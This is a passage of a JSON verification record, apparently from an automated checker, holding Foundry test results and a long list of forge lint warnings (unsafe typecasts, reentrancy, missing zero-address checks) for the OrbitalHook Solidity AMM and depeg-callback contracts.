999650724591\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.15ms (1.89ms CPU time)\n\nRan 1 test suite in 7.96ms (7.15ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":1139,"exitCode":0,"name":"proof e3eb934c2b53","output":"2026-10-01T19:43:53.932151Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-xAHhiJ/repo/test/imd-proof-4fedd247/Proof_37d223272304.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 600.55ms\nCompiler run successful!\n\nRan 1 test for test/imd-proof-bc672783/Proof_e3eb934c2b53.t.sol:ReactSenderTest\n[PASS] test_reactFromRvmIdEmitsCallbackOnDepeg() (gas: 74761)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 748.06µs (114.04µs CPU time)\n\nRan 1 test suite in 2.98ms (748.06µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"df98edd1b829ef0fac80851c7a2e27d32acd3a8d283c359e6c29fa6f066d6b4d","verifiedTreeHash":"742dccfc253f81b05ceab10c16afd959dd7a790e","verifierVersion":"0.1.0+61e9b7ca"},{"checks":[{"durationMs":3496,"exitCode":0,"name":"build","output":"Compiling 88 files with Solc 0.8.26\nSolc 0.8.26 finished in 3.24s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:659:24\n    │\n659 │             return (v, false);\n    │                        ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:66:9\n   │\n66 │         owner = newOwner;\n   │         ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/reactive/OrbitalDepegReactive.sol:82:39\n   │\n82 │         int256 tolerance = pegPrice * int256(bandBps) / 10_000;\n   │                                       ━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'int256' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:40:56\n   │\n40 │     constructor(address _callbackProxy, address _hook, address _rvmId, address _owner) payable {\n   │                                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:133:20\n    │\n133 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:133:49\n    │\n133 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:133:64\n    │\n133 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:134:20\n    │\n134 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/reactive/OrbitalDepegReactive.sol:94:24\n   │\n94 │         int256 price = int256(log.topic_1);\n   │                        ━━━━━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'int256' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:55:9\n   │\n55 │         emit DepegPauseTriggered(feed, price, roundId);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:134:45\n    │\n134 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                                             ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:58:23\n   │\n58 │     function setRvmId(address _rvmId) external onlyOwner {\n   │                       ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:135:32\n    │\n135 │         return a * a + b * b - int256(c.r * c.r);\n    │                                ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:140:17\n    │\n140 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:77:23\n   │\n77 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n   │                       ━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:140:46\n    │\n140 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:140:62\n    │\n140 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                              ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:140:76\n    │\n140 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                                            ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:131:23\n    │\n131 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:196:29\n    │\n196 │             if (hi > maxIn) revert InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:210:25\n    │\n210 │         int256 cShift = int256(sT) - int256(p.s);\n    │                         ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:210:38\n    │\n210 │         int256 cShift = int256(sT) - int256(p.s);\n    │                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:211:20\n    │\n211 │         int256 a = int256(p.xi);\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:212:20\n    │\n212 │         int256 b = int256(p.xj) + cShift;\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:214:21\n    │\n214 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                     ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:214:34\n    │\n214 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:217:23\n    │\n217 │         int256 root = int256(sqrt(uint256(disc)));\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:217:35\n    │\n217 │         int256 root = int256(sqrt(uint256(disc)));\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:223:13\n    │\n223 │         t = uint256(chosen);\n    │             ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:16\n    │\n224 │         dOut = uint256(chosen - cShift);\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n    ╭▸ src/OrbitalHook.sol:498:9\n    │\n498 │         owner = newOwner;\n    │         ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:167:9\n    │\n167 │         address _guardian,\n    │         ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:188:56\n    │\n188 │             if (t == address(0) || tokenIndex[t] != 0) revert InvalidTokens();\n    │                                                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:190:27\n    │\n190 │             if (dec > 18) revert InvalidTokens();\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:203:53\n    │\n203 │             if (k <= kMin || k > kMax || k <= prev) revert InvalidLevels();\n    │                                                     ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:100:32\n    │\n100 │         if (kNorm >= sqrtNWad) revert MathOverflow();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:103:23\n    │\n103 │         if (d2 > WAD) revert MathOverflow();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:247:56\n    │\n247 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                        ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:247:77\n    │\n247 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                                             ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:248:44\n    │\n248 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:248:59\n    │\n248 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:279:23\n    │\n279 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:279:58\n    │\n279 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:289:33\n    │\n289 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                 ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:289:40\n    │\n289 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:289:58\n    │\n289 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:289:65\n    │\n289 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                                 ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:290:34\n    │\n290 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:290:41\n    │\n290 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                         ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:290:59\n    │\n290 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                           ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:290:66\n    │\n290 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                                  ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:311:30\n    │\n311 │             x[j] += wadOut - rawOut * _scale[j]; // rounding dust stays in the pool\n    │                              ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:326:42\n    │\n326 │         if (feeWad > 0) _feeGrowth[i] += feeWad * WAD / totalRadius;\n    │                                          ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:21\n    │\n321 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:29\n    │\n321 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:68\n    │\n321 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:76\n    │\n321 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                            ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `boundaryMask` is updated\n    ╭▸ src/OrbitalHook.sol:435:13\n    │\n435 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:369:9\n    │\n369 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:370:9\n    │\n370 │         emit Deposit(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:355:38\n    │\n355 │             if (raw > maxAmounts[k]) revert SlippageExceeded();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:369:9\n    │\n369 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `positions` is updated\n    ╭▸ 